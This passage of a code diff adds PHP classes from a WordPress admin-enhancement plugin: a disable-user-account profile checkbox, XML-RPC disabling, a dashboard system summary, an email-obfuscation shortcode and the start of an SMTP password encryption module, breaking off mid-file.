$user_id = isset( $_GET['user_id'] ) ? absint( $_GET['user_id'] ) : get_current_user_id(); // phpcs:ignore WordPress.Security.NonceVerification.Recommended
|
||||
if ( get_current_user_id() === $user_id ) {
|
||||
return;
|
||||
}
|
||||
if ( ! current_user_can( 'edit_users' ) ) {
|
||||
return;
|
||||
}
|
||||
if ( is_multisite() && is_super_admin( $user_id ) ) {
|
||||
return;
|
||||
}
|
||||
|
||||
$disabled = $this->is_user_disabled( $user_id );
|
||||
|
||||
$row_html = '<tr class="asenha-disable-user-account-wrap">';
|
||||
$row_html .= '<th scope="row">' . esc_html__( 'Disable User Account', 'admin-site-enhancements' ) . '</th>';
|
||||
$row_html .= '<td>';
|
||||
$row_html .= '<label for="asenha_user_account_disabled">';
|
||||
$row_html .= '<input type="checkbox" name="asenha_user_account_disabled" id="asenha_user_account_disabled" value="1"' . checked( $disabled, true, false ) . ' />';
|
||||
$row_html .= ' ' . esc_html__( 'Disable login for this account.', 'admin-site-enhancements' );
|
||||
$row_html .= '</label></td></tr>';
|
||||
|
||||
// Inject before user-profile.js snapshots the form (avoids false "Leave site?" warnings).
|
||||
wp_enqueue_script( 'user-profile' );
|
||||
|
||||
wp_localize_script(
|
||||
'user-profile',
|
||||
'asenhaDisableUserAccountProfile',
|
||||
array(
|
||||
'rowHtml' => $row_html,
|
||||
)
|
||||
);
|
||||
|
||||
wp_add_inline_script(
|
||||
'user-profile',
|
||||
$this->get_profile_row_injection_script(),
|
||||
'before'
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Inline JS to place the disable-account row before user-profile.js captures form state.
|
||||
*
|
||||
* @since 8.8.0
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
private function get_profile_row_injection_script() {
|
||||
return <<<'JS'
|
||||
( function ( $ ) {
|
||||
'use strict';
|
||||
|
||||
$( function () {
|
||||
if (
|
||||
typeof asenhaDisableUserAccountProfile === 'undefined' ||
|
||||
! asenhaDisableUserAccountProfile.rowHtml
|
||||
) {
|
||||
return;
|
||||
}
|
||||
|
||||
var $table = $( 'table.form-table' )
|
||||
.filter( function () {
|
||||
return $( this ).find( '#password' ).length > 0;
|
||||
} )
|
||||
.first();
|
||||
|
||||
if ( ! $table.length ) {
|
||||
return;
|
||||
}
|
||||
|
||||
var $rows = $(
|
||||
$.parseHTML(
|
||||
asenhaDisableUserAccountProfile.rowHtml,
|
||||
document,
|
||||
true
|
||||
)
|
||||
);
|
||||
|
||||
var $sessions = $table.find( 'tr.user-sessions-wrap' ).first();
|
||||
if ( $sessions.length ) {
|
||||
$sessions.before( $rows );
|
||||
return;
|
||||
}
|
||||
|
||||
var $reset = $table.find( 'tr.user-generate-reset-link-wrap' ).first();
|
||||
if ( $reset.length ) {
|
||||
$reset.after( $rows );
|
||||
return;
|
||||
}
|
||||
|
||||
var $pwWeak = $table.find( 'tr.pw-weak' ).first();
|
||||
if ( $pwWeak.length ) {
|
||||
$pwWeak.after( $rows );
|
||||
}
|
||||
} );
|
||||
} )( jQuery );
|
||||
JS;
|
||||
}
|
||||
|
||||
/**
|
||||
* Save the profile checkbox on user update.
|
||||
*
|
||||
* @since 8.7.4
|
||||
*
|
||||
* @param int $user_id User ID being saved.
|
||||
*/
|
||||
public function save_profile_checkbox( $user_id ) {
|
||||
$user_id = (int) $user_id;
|
||||
if ( $user_id <= 0 ) {
|
||||
return;
|
||||
}
|
||||
if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_wpnonce'] ) ), 'update-user_' . $user_id ) ) {
|
||||
return;
|
||||
}
|
||||
if ( get_current_user_id() === $user_id ) {
|
||||
return;
|
||||
}
|
||||
if ( ! current_user_can( 'edit_users' ) ) {
|
||||
return;
|
||||
}
|
||||
if ( ! $this->current_user_may_toggle_user( $user_id ) ) {
|
||||
return;
|
||||
}
|
||||
|
||||
if ( isset( $_POST['asenha_user_account_disabled'] ) && '1' === sanitize_text_field( wp_unslash( $_POST['asenha_user_account_disabled'] ) ) ) {
|
||||
update_user_meta( $user_id, self::META_KEY, '1' );
|
||||
} else {
|
||||
delete_user_meta( $user_id, self::META_KEY );
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,59 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
/**
|
||||
* Class for Disable XML-RPC module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Disable_XML_RPC {
|
||||
|
||||
/**
|
||||
* Remove XML RPC link in head
|
||||
*
|
||||
* @since 6.2.2
|
||||
*/
|
||||
public function remove_xmlrpc_link() {
|
||||
remove_action('wp_head', 'rsd_link');
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove XML-RPC methods
|
||||
*
|
||||
* @link https://plugins.trac.wordpress.org/browser/stop-xml-rpc-attacks/trunk/stop-xml-rpc-attacks.php
|
||||
* @since 7.6.9
|
||||
*/
|
||||
public function remove_xmlrpc_methods( $methods ) {
|
||||
unset($methods['system.multicall']);
|
||||
unset($methods['system.listMethods']);
|
||||
unset($methods['system.getCapabilities']);
|
||||
unset($methods['pingback.extensions.getPingbacks']);
|
||||
unset($methods['pingback.ping']);
|
||||
return $methods;
|
||||
}
|
||||
|
||||
/**
|
||||
* Disable the XML-RPC component
|
||||
*
|
||||
* @since 2.2.0
|
||||
*/
|
||||
public function maybe_disable_xmlrpc( $data ) {
|
||||
|
||||
// http_response_code(403);
|
||||
header('HTTP/1.1 403 Forbidden');
|
||||
exit('You don\'t have permission to access this file.');
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Hide xmlrpc.php in HTTP response headers
|
||||
*
|
||||
* @link https://wordpress.stackexchange.com/a/219185
|
||||
*/
|
||||
public function hide_xmlrpc_in_http_response_headers( $headers ) {
|
||||
unset( $headers['X-Pingback'] );
|
||||
return $headers;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
/**
|
||||
* Class for Display System Summary module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Display_System_Summary {
|
||||
/**
|
||||
* Display system summary in the "At a Glance" dashboard widget
|
||||
*
|
||||
* @since 5.6.0
|
||||
*/
|
||||
public function display_system_summary() {
|
||||
// When user is logged-in as in an administrator
|
||||
if ( is_user_logged_in() ) {
|
||||
if ( current_user_can( 'manage_options' ) ) {
|
||||
if ( isset( $_SERVER['SERVER_SOFTWARE'] ) ) {
|
||||
$server_software_raw = str_replace( "/", " ", $_SERVER['SERVER_SOFTWARE'] );
|
||||
$server_software_parts = explode( " (", $server_software_raw );
|
||||
$server_software = ucfirst( $server_software_parts[0] );
|
||||
} else {
|
||||
$server_software = 'Unknown';
|
||||
}
|
||||
$php_version = phpversion();
|
||||
// From WP core /wp-admin/includes/class-wp-debug-data.php
|
||||
global $wpdb;
|
||||
$db_server = $wpdb->get_var( 'SELECT VERSION()' );
|
||||
$db_server_parts = explode( ':', $db_server );
|
||||
$db_server = $db_server_parts[0];
|
||||
$db_separator = '&9670;';
|
||||
$ip = 'localhost';
|
||||
if ( isset( $_SERVER['HTTP_X_SERVER_ADDR'] ) ) {
|
||||
$ip = sanitize_text_field( $_SERVER['HTTP_X_SERVER_ADDR'] );
|
||||
} elseif ( isset( $_SERVER['SERVER_ADDR'] ) ) {
|
||||
$ip = sanitize_text_field( $_SERVER['SERVER_ADDR'] );
|
||||
} else {
|
||||
}
|
||||
echo '<div class="system-summary"><a href="' . esc_url( admin_url( 'site-health.php?tab=debug' ) ) . '">System</a>: ' . esc_html( $server_software ) . ' ▪ PHP ' . esc_html( $php_version ) . ' (' . esc_html( php_sapi_name() ) . ') ▪' . esc_html( $db_server ) . ' ▪ IP: ' . esc_html( $ip ) . '</div>';
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
+125
@@ -0,0 +1,125 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
/**
|
||||
* Class for Email Address Obfuscator module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Email_Address_Obfuscator {
|
||||
/**
|
||||
* Cached associative array of allowed upload extensions (lowercase), e.g. [ 'jpg' => true ].
|
||||
*
|
||||
* Derived from WordPress core `get_allowed_mime_types()`, which respects `upload_mimes` filters.
|
||||
*
|
||||
* @since 7.??.? (ASE)
|
||||
* @var array|null
|
||||
*/
|
||||
private static $allowed_upload_extensions = null;
|
||||
|
||||
/**
|
||||
* Get the render mode used by obfuscate shortcode output.
|
||||
*
|
||||
* @since 8.4.3
|
||||
*
|
||||
* @return string Render mode.
|
||||
*/
|
||||
private function get_obfuscate_email_render_mode() {
|
||||
$render_mode = 'legacy';
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
$builder_safe_mode = ( isset( $options['obfuscate_email_address_builder_safe_mode'] ) ? $options['obfuscate_email_address_builder_safe_mode'] : false );
|
||||
if ( 'on' === $builder_safe_mode || '1' === $builder_safe_mode || 1 === $builder_safe_mode || true === $builder_safe_mode ) {
|
||||
// builder-safe / high-compatibility mode
|
||||
$render_mode = 'builder_safe';
|
||||
}
|
||||
return $render_mode;
|
||||
}
|
||||
|
||||
/**
|
||||
* Obfuscate email address on the frontend using antispambot() native WP function
|
||||
*
|
||||
* @link: https://gist.github.com/eclarrrk/349360b52e8822b69cb6fc499722520f
|
||||
* @since 5.5.0
|
||||
*/
|
||||
public function obfuscate_string( $atts ) {
|
||||
$atts = shortcode_atts( array(
|
||||
'email' => '',
|
||||
'subject' => '',
|
||||
'text' => '',
|
||||
'display' => 'newline',
|
||||
'link' => 'no',
|
||||
'class' => '',
|
||||
), $atts );
|
||||
$email = sanitize_email( $atts['email'] );
|
||||
if ( !is_email( $email ) ) {
|
||||
return '';
|
||||
}
|
||||
$render_mode = $this->get_obfuscate_email_render_mode();
|
||||
$css_bidi_styles = '';
|
||||
$direction_styles = '';
|
||||
if ( !empty( $atts['text'] ) ) {
|
||||
$text = esc_html( $atts['text'] );
|
||||
} else {
|
||||
if ( 'legacy' === $render_mode ) {
|
||||
// Reverse email address characters if not in Firefox, which has bug related to unicode-bidi CSS property.
|
||||
$http_user_agent = ( isset( $_SERVER['HTTP_USER_AGENT'] ) ? sanitize_text_field( $_SERVER['HTTP_USER_AGENT'] ) : 'generic' );
|
||||
if ( false !== stripos( $http_user_agent, 'firefox' ) || false !== stripos( $http_user_agent, 'iphone' ) ) {
|
||||
// Do nothing. Do not reverse characters.
|
||||
$email_reversed = $email;
|
||||
$email_rev_parts = explode( '@', $email_reversed );
|
||||
$email_rev_parts = array($email_rev_parts[0], $email_rev_parts[1]);
|
||||
$css_bidi_styles = '';
|
||||
$direction_styles = 'direction:rtl;';
|
||||
} else {
|
||||
$email_reversed = strrev( $email );
|
||||
$email_rev_parts = explode( '@', $email_reversed );
|
||||
$css_bidi_styles = 'unicode-bidi:bidi-override;';
|
||||
$direction_styles = 'direction:rtl;';
|
||||
}
|
||||
$random_number = dechex( rand( 1000000, 9999999 ) );
|
||||
$text = esc_html( $email_rev_parts[0] ) . '<span style="display:none;">obfsctd-' . esc_html( $random_number ) . '</span>@' . esc_html( $email_rev_parts[1] );
|
||||
} else {
|
||||
// builder-safe / high-compatibility mode
|
||||
$text = antispambot( $email );
|
||||
}
|
||||
}
|
||||
$display = sanitize_text_field( $atts['display'] );
|
||||
if ( !in_array( $display, array('newline', 'inline'), true ) ) {
|
||||
$display = 'newline';
|
||||
}
|
||||
if ( 'newline' === $display ) {
|
||||
if ( 'legacy' === $render_mode ) {
|
||||
$display_css = 'display:flex;justify-content:flex-end;';
|
||||
} else {
|
||||
$display_css = 'display:block;';
|
||||
}
|
||||
} else {
|
||||
$display_css = 'display:inline;';
|
||||
}
|
||||
$subject = sanitize_text_field( $atts['subject'] );
|
||||
if ( !empty( $subject ) ) {
|
||||
$subject = '?subject=' . rawurlencode( $subject );
|
||||
}
|
||||
$link = sanitize_text_field( $atts['link'] );
|
||||
if ( !in_array( $link, array('no', 'yes', 'mailto'), true ) ) {
|
||||
$link = 'no';
|
||||
}
|
||||
$class = sanitize_text_field( $atts['class'] );
|
||||
$span_style = $display_css . $css_bidi_styles . $direction_styles;
|
||||
return '<span style="' . esc_attr( $span_style ) . '" class="' . esc_attr( $class ) . '">' . $text . '</span>';
|
||||
}
|
||||
|
||||
/**
|
||||
* Add additional attributes to the list of safe CSS attributes
|
||||
* This prevents those attributes from being stripped out when displaying the obfuscated email address
|
||||
*
|
||||
* @since 7.3.1
|
||||
*/
|
||||
public function add_additional_attributes_to_safe_css( $css_attributes ) {
|
||||
$css_attributes[] = 'display';
|
||||
$css_attributes[] = 'unicode-bidi';
|
||||
return $css_attributes;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,906 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
use WP_Error;
|
||||
use ASENHA\EmailDelivery\Email_Log_Table;
|
||||
/**
|
||||
* Class for Email Delivery module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Email_Delivery {
|
||||
const SMTP_PASSWORD_PREFIX = 'asenha_encrypted::smtp_password::v1::';
|
||||
|
||||
const SMTP_PASSWORD_PREFIX_V2 = 'asenha_encrypted::smtp_password::v2::';
|
||||
|
||||
const SMTP_PASSWORD_UNAVAILABLE_TRANSIENT = 'asenha_smtp_password_unavailable';
|
||||
|
||||
const SMTP_PASSWORD_NOTICE_DISMISSED_META = 'asenha_smtp_password_notice_dismissed';
|
||||
|
||||
const SMTP_PASSWORD_STATUS_EMPTY = 'empty';
|
||||
|
||||
const SMTP_PASSWORD_STATUS_LEGACY_PLAINTEXT = 'legacy_plaintext';
|
||||
|
||||
const SMTP_PASSWORD_STATUS_ENCRYPTED_VALID = 'encrypted_valid';
|
||||
|
||||
const SMTP_PASSWORD_STATUS_ENCRYPTED_INVALID = 'encrypted_invalid';
|
||||
|
||||
private $log_entry_id;
|
||||
|
||||
/**
|
||||
* Pending email-log error when SMTP auth cannot use the stored password.
|
||||
*
|
||||
* @since 8.8.5
|
||||
*
|
||||
* @var string
|
||||
*/
|
||||
private $pending_smtp_password_log_error = '';
|
||||
|
||||
/**
|
||||
* Transient lifetime for surfacing SMTP password failures to administrators.
|
||||
*
|
||||
* @since 8.8.5
|
||||
*
|
||||
* @return int
|
||||
*/
|
||||
public function get_smtp_password_unavailable_transient_ttl() {
|
||||
return 90 * DAY_IN_SECONDS;
|
||||
}
|
||||
|
||||
/**
|
||||
* Derive the v1 encryption key from WordPress salts.
|
||||
*
|
||||
* @since 8.4.3
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
private function get_smtp_password_encryption_key_v1() {
|
||||
return hash( 'sha256', \wp_salt( 'auth' ) . \wp_salt( 'secure_auth' ) . 'asenha_smtp_password', true );
|
||||
}
|
||||
|
||||
/**
|
||||
* Load admin_site_enhancements_extra as an array.
|
||||
*
|
||||
* @since 8.8.5
|
||||
*
|
||||
* @return array
|
||||
*/
|
||||
private function get_options_extra_array() {
|
||||
$options_extra = get_option( ASENHA_SLUG_U . '_extra', array() );
|
||||
return ( is_array( $options_extra ) ? $options_extra : array() );
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the stored v2 secret key without creating one.
|
||||
*
|
||||
* @since 8.8.5
|
||||
*
|
||||
* @return string|false
|
||||
*/
|
||||
private function get_stored_smtp_secret_key_v2() {
|
||||
$options_extra = $this->get_options_extra_array();
|
||||
if ( empty( $options_extra['smtp_secret_key'] ) || !is_string( $options_extra['smtp_secret_key'] ) ) {
|
||||
return false;
|
||||
}
|
||||
$decoded = base64_decode( $options_extra['smtp_secret_key'], true );
|
||||
if ( false === $decoded || 32 !== strlen( $decoded ) ) {
|
||||
return false;
|
||||
}
|
||||
return $decoded;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get or create the per-site v2 SMTP secret key.
|
||||
*
|
||||
* @since 8.8.5
|
||||
*
|
||||
* @return string|false
|
||||
*/
|
||||
private function get_or_create_smtp_secret_key_v2() {
|
||||
$stored_key = $this->get_stored_smtp_secret_key_v2();
|
||||
if ( false !== $stored_key ) {
|
||||
return $stored_key;
|
||||
}
|
||||
if ( !$this->can_handle_smtp_password_encryption() ) {
|
||||
return false;
|
||||
}
|
||||
try {
|
||||
$key = random_bytes( 32 );
|
||||
} catch ( \Exception $exception ) {
|
||||
return false;
|
||||
}
|
||||
$options_extra = $this->get_options_extra_array();
|
||||
$options_extra['smtp_secret_key'] = base64_encode( $key );
|
||||
update_option( ASENHA_SLUG_U . '_extra', $options_extra, true );
|
||||
return $key;
|
||||
}
|
||||
|
||||
/**
|
||||
* Persist a non-secret fingerprint of the active encryption key.
|
||||
*
|
||||
* @since 8.8.5
|
||||
*
|
||||
* @param string $encryption_key Raw encryption key.
|
||||
* @return void
|
||||
*/
|
||||
private function persist_smtp_password_key_fingerprint( $encryption_key ) {
|
||||
$options_extra = $this->get_options_extra_array();
|
||||
$options_extra['smtp_password_key_fingerprint'] = hash( 'sha256', $encryption_key );
|
||||
update_option( ASENHA_SLUG_U . '_extra', $options_extra, true );
|
||||
}
|
||||
|
||||
/**
|
||||
* Check whether the current environment can encrypt/decrypt the SMTP password.
|
||||
*
|
||||
* @since 8.4.3
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
private function can_handle_smtp_password_encryption() {
|
||||
return function_exists( 'openssl_encrypt' ) && function_exists( 'openssl_decrypt' ) && function_exists( 'openssl_cipher_iv_length' ) && function_exists( 'random_bytes' );
|
||||
}
|
||||
|
||||
/**
|
||||
* Check whether the stored SMTP password uses the v1 encrypted format.
|
||||
*
|
||||
* @since 8.8.5
|
||||
*
|
||||
* @param string $stored_password Stored option value.
|
||||
* @return bool
|
||||
*/
|
||||
public function is_smtp_password_v1_encrypted( $stored_password ) {
|
||||
return is_string( $stored_password ) && 0 === strpos( $stored_password, self::SMTP_PASSWORD_PREFIX );
|
||||
}
|
||||
|
||||
/**
|
||||
* Check whether the stored SMTP password uses the v2 encrypted format.
|
||||
*
|
||||
* @since 8.8.5
|
||||
*
|
||||
* @param string $stored_password Stored option value.
|
||||
* @return bool
|
||||
*/
|
||||
public function is_smtp_password_v2_encrypted( $stored_password ) {
|
||||
return is_string( $stored_password ) && 0 === strpos( $stored_password, self::SMTP_PASSWORD_PREFIX_V2 );
|
||||
}
|
||||
|
||||
/**
|
||||
* Check whether the stored SMTP password value is encrypted.
|
||||
*
|
||||
* @since 8.4.3
|
||||
*
|
||||
* @param string $stored_password Stored option value.
|
||||
* @return bool
|
||||
*/
|
||||
public function is_smtp_password_encrypted( $stored_password ) {
|
||||
return $this->is_smtp_password_v1_encrypted( $stored_password ) || $this->is_smtp_password_v2_encrypted( $stored_password );
|
||||
}
|
||||
|
||||
/**
|
||||
* Check whether a value looks like stored SMTP ciphertext rather than plaintext.
|
||||
*
|
||||
* @since 8.8.6
|
||||
*
|
||||
* @param string $value Candidate value.
|
||||
* @return bool
|
||||
*/
|
||||
public function is_probable_smtp_ciphertext( $value ) {
|
||||
return is_string( $value ) && ($this->is_smtp_password_v1_encrypted( $value ) || $this->is_smtp_password_v2_encrypted( $value ) || 0 === strpos( $value, 'asenha_encrypted::smtp_password::' ));
|
||||
}
|
||||
|
||||
/**
|
||||
* Whether SMTP password storage has been upgraded to the v2 format.
|
||||
*
|
||||
* @since 8.8.6
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
public function is_smtp_password_storage_version_v2() {
|
||||
$options_extra = $this->get_options_extra_array();
|
||||
return isset( $options_extra['smtp_password_storage_version'] ) && 2 === (int) $options_extra['smtp_password_storage_version'];
|
||||
}
|
||||
|
||||
/**
|
||||
* Mark SMTP password storage as upgraded to v2.
|
||||
*
|
||||
* @since 8.8.6
|
||||
*
|
||||
* @return void
|
||||
*/
|
||||
public function mark_smtp_password_storage_version_v2() {
|
||||
$options_extra = $this->get_options_extra_array();
|
||||
$options_extra['smtp_password_storage_version'] = 2;
|
||||
update_option( ASENHA_SLUG_U . '_extra', $options_extra, true );
|
||||
}
|
||||
|
||||
/**
|
||||
* Unwrap nested SMTP ciphertext layers down to plaintext.
|
||||
*
|
||||
* @since 8.8.6
|
||||
*
|
||||
* @param string $stored_password Stored option value.
|
||||
* @param int $max_depth Maximum unwrap attempts.
|
||||
* @return string|false Plaintext password or false when unusable.
|
||||
*/
|
||||
public function unwrap_smtp_password_to_plaintext( $stored_password, $max_depth = 5 ) {
|
||||
if ( !is_string( $stored_password ) || '' === $stored_password ) {
|
||||
return false;
|
||||
}
|
||||
if ( !$this->is_probable_smtp_ciphertext( $stored_password ) ) {
|
||||
return $stored_password;
|
||||
}
|
||||
$current = $stored_password;
|
||||
$depth = 0;
|
||||
while ( $depth < $max_depth && $this->is_probable_smtp_ciphertext( $current ) ) {
|
||||
$decrypted = $this->decrypt_smtp_password( $current );
|
||||
if ( false === $decrypted ) {
|
||||
return false;
|
||||
}
|
||||
$current = $decrypted;
|
||||
$depth++;
|
||||
}
|
||||
if ( $this->is_probable_smtp_ciphertext( $current ) ) {
|
||||
return false;
|
||||
}
|
||||
return $current;
|
||||
}
|
||||
|
||||
/**
|
||||
* Encrypt a payload with AES-256-CBC and an authenticated HMAC.
|
||||
*
|
||||
* @since 8.8.5
|
||||
*
|
||||
* @param string $password Plaintext password.
|
||||
* @param string $key Encryption key.
|
||||
* @param string $prefix Stored-value prefix.
|
||||
* @return string
|
||||
*/
|
||||
private function encrypt_smtp_password_with_key( $password, $key, $prefix ) {
|
||||
if ( '' === $password || !$this->can_handle_smtp_password_encryption() ) {
|
||||
return '';
|
||||
}
|
||||
$cipher = 'AES-256-CBC';
|
||||
$iv_len = openssl_cipher_iv_length( $cipher );
|
||||
if ( false === $iv_len ) {
|
||||
return '';
|
||||
}
|
||||
try {
|
||||
$iv = random_bytes( $iv_len );
|
||||
} catch ( \Exception $exception ) {
|
||||
return '';
|
||||
}
|
||||
$ciphertext_raw = openssl_encrypt(
|
||||
$password,
|
||||
$cipher,
|
||||
$key,
|
||||
OPENSSL_RAW_DATA,
|
||||
$iv
|
||||
);
|
||||
if ( false === $ciphertext_raw ) {
|
||||
return '';
|
||||
}
|
||||
$hmac = hash_hmac(
|
||||
'sha256',
|
||||
$ciphertext_raw,
|
||||
$key,
|
||||
true
|
||||
);
|
||||
return $prefix . base64_encode( $iv . $hmac . $ciphertext_raw );
|
||||
}
|
||||
|
||||
/**
|
||||
* Decrypt a stored SMTP password payload.
|
||||
*
|
||||
* @since 8.8.5
|
||||
*
|
||||
* @param string $stored_password Stored option value.
|
||||
* @param string $key Encryption key.
|
||||
* @param string $prefix Stored-value prefix.
|
||||
* @return string|false
|
||||
*/
|
||||
private function decrypt_smtp_password_with_key( $stored_password, $key, $prefix ) {
|
||||
if ( !is_string( $stored_password ) || 0 !== strpos( $stored_password, $prefix ) ) {
|
||||
return false;
|
||||
}
|
||||
if ( !$this->can_handle_smtp_password_encryption() ) {
|
||||
return false;
|
||||
}
|
||||
$payload = substr( $stored_password, strlen( $prefix ) );
|
||||
$decoded = base64_decode( $payload, true );
|
||||
if ( false === $decoded ) {
|
||||
return false;
|
||||
}
|
||||
$cipher = 'AES-256-CBC';
|
||||
$iv_len = openssl_cipher_iv_length( $cipher );
|
||||
if ( false === $iv_len || strlen( $decoded ) <= $iv_len + 32 ) {
|
||||
return false;
|
||||
}
|
||||
$iv = substr( $decoded, 0, $iv_len );
|
||||
$stored_hmac = substr( $decoded, $iv_len, 32 );
|
||||
$ciphertext_raw = substr( $decoded, $iv_len + 32 );
|
||||
$calc_hmac = hash_hmac(
|
||||
'sha256',
|
||||
$ciphertext_raw,
|
||||
$key,
|
||||
true
|
||||
);
|
||||
if ( !hash_equals( $stored_hmac, $calc_hmac ) ) {
|
||||
return false;
|
||||
}
|
||||
return openssl_decrypt(
|
||||
$ciphertext_raw,
|
||||
$cipher,
|
||||
$key,
|
||||
OPENSSL_RAW_DATA,
|
||||
$iv
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Encrypt SMTP password for storage in options (always v2).
|
||||
*
|
||||
* @since 8.4.3
|
||||
*
|
||||
* @param string $password SMTP password.
|
||||
* @return string Encrypted payload or empty string on failure.
|
||||
*/
|
||||
public function encrypt_smtp_password( $password ) {
|
||||
if ( '' === $password ) {
|
||||
return '';
|
||||
}
|
||||
if ( $this->is_probable_smtp_ciphertext( $password ) ) {
|
||||
return '';
|
||||
}
|
||||
$key = $this->get_or_create_smtp_secret_key_v2();
|
||||
if ( false === $key ) {
|
||||
return '';
|
||||
}
|
||||
$encrypted_password = $this->encrypt_smtp_password_with_key( $password, $key, self::SMTP_PASSWORD_PREFIX_V2 );
|
||||
if ( !empty( $encrypted_password ) ) {
|
||||
$this->persist_smtp_password_key_fingerprint( $key );
|
||||
$this->mark_smtp_password_storage_version_v2();
|
||||
$this->clear_smtp_password_unavailable_flag();
|
||||
$this->clear_smtp_password_notice_dismissals();
|
||||
}
|
||||
return $encrypted_password;
|
||||
}
|
||||
|
||||
/**
|
||||
* Decrypt stored SMTP password.
|
||||
*
|
||||
* @since 8.4.3
|
||||
*
|
||||
* @param string $stored_password Stored option value.
|
||||
* @return string|false
|
||||
*/
|
||||
public function decrypt_smtp_password( $stored_password ) {
|
||||
if ( $this->is_smtp_password_v2_encrypted( $stored_password ) ) {
|
||||
$key = $this->get_stored_smtp_secret_key_v2();
|
||||
if ( false === $key ) {
|
||||
return false;
|
||||
}
|
||||
return $this->decrypt_smtp_password_with_key( $stored_password, $key, self::SMTP_PASSWORD_PREFIX_V2 );
|
||||
}
|
||||
if ( $this->is_smtp_password_v1_encrypted( $stored_password ) ) {
|
||||
return $this->decrypt_smtp_password_with_key( $stored_password, $this->get_smtp_password_encryption_key_v1(), self::SMTP_PASSWORD_PREFIX );
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the current storage status of the SMTP password.
|
||||
*
|
||||
* @since 8.4.3
|
||||
*
|
||||
* @param string|null $stored_password Stored option value.
|
||||
* @return string
|
||||
*/
|
||||
public function get_smtp_password_status( $stored_password = null ) {
|
||||
if ( null === $stored_password ) {
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
$stored_password = ( isset( $options['smtp_password'] ) ? $options['smtp_password'] : '' );
|
||||
}
|
||||
if ( empty( $stored_password ) ) {
|
||||
return self::SMTP_PASSWORD_STATUS_EMPTY;
|
||||
}
|
||||
if ( $this->is_smtp_password_encrypted( $stored_password ) ) {
|
||||
$plaintext_password = $this->unwrap_smtp_password_to_plaintext( $stored_password );
|
||||
if ( false === $plaintext_password || $this->is_probable_smtp_ciphertext( $plaintext_password ) ) {
|
||||
return self::SMTP_PASSWORD_STATUS_ENCRYPTED_INVALID;
|
||||
}
|
||||
return self::SMTP_PASSWORD_STATUS_ENCRYPTED_VALID;
|
||||
}
|
||||
if ( $this->is_probable_smtp_ciphertext( $stored_password ) ) {
|
||||
return self::SMTP_PASSWORD_STATUS_ENCRYPTED_INVALID;
|
||||
}
|
||||
return self::SMTP_PASSWORD_STATUS_LEGACY_PLAINTEXT;
|
||||
}
|
||||
|
||||
/**
|
||||
* Human-readable SMTP password status label for the settings UI.
|
||||
*
|
||||
* @since 8.8.5
|
||||
*
|
||||
* @param string|null $stored_password Stored option value.
|
||||
* @return string
|
||||
*/
|
||||
public function get_smtp_password_status_label( $stored_password = null ) {
|
||||
$status = $this->get_smtp_password_status( $stored_password );
|
||||
switch ( $status ) {
|
||||
case self::SMTP_PASSWORD_STATUS_ENCRYPTED_VALID:
|
||||
case self::SMTP_PASSWORD_STATUS_LEGACY_PLAINTEXT:
|
||||
return __( 'Saved', 'admin-site-enhancements' );
|
||||
case self::SMTP_PASSWORD_STATUS_ENCRYPTED_INVALID:
|
||||
return __( 'Re-entry required', 'admin-site-enhancements' );
|
||||
default:
|
||||
return __( 'Not set', 'admin-site-enhancements' );
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Whether SMTP authentication is required but no usable password is available.
|
||||
*
|
||||
* @since 8.8.5
|
||||
*
|
||||
* @param array|null $options ASE options array.
|
||||
* @return bool
|
||||
*/
|
||||
public function is_smtp_password_unavailable_for_delivery( $options = null ) {
|
||||
if ( null === $options ) {
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
}
|
||||
if ( !is_array( $options ) || empty( $options['smtp_email_delivery'] ) ) {
|
||||
return false;
|
||||
}
|
||||
$smtp_authentication = ( isset( $options['smtp_authentication'] ) ? $options['smtp_authentication'] : 'enable' );
|
||||
if ( 'enable' !== $smtp_authentication ) {
|
||||
return false;
|
||||
}
|
||||
$smtp_host = ( isset( $options['smtp_host'] ) ? $options['smtp_host'] : '' );
|
||||
$smtp_port = ( isset( $options['smtp_port'] ) ? $options['smtp_port'] : '' );
|
||||
$smtp_security = ( isset( $options['smtp_security'] ) ? $options['smtp_security'] : '' );
|
||||
if ( empty( $smtp_host ) || empty( $smtp_port ) || empty( $smtp_security ) ) {
|
||||
return false;
|
||||
}
|
||||
$stored_password = ( isset( $options['smtp_password'] ) ? $options['smtp_password'] : '' );
|
||||
$status = $this->get_smtp_password_status( $stored_password );
|
||||
if ( self::SMTP_PASSWORD_STATUS_ENCRYPTED_INVALID === $status ) {
|
||||
return true;
|
||||
}
|
||||
if ( self::SMTP_PASSWORD_STATUS_EMPTY === $status ) {
|
||||
return true;
|
||||
}
|
||||
return '' === $this->get_smtp_password_for_runtime( $stored_password );
|
||||
}
|
||||
|
||||
/**
|
||||
* Flag that SMTP password delivery is unavailable for administrator follow-up.
|
||||
*
|
||||
* @since 8.8.5
|
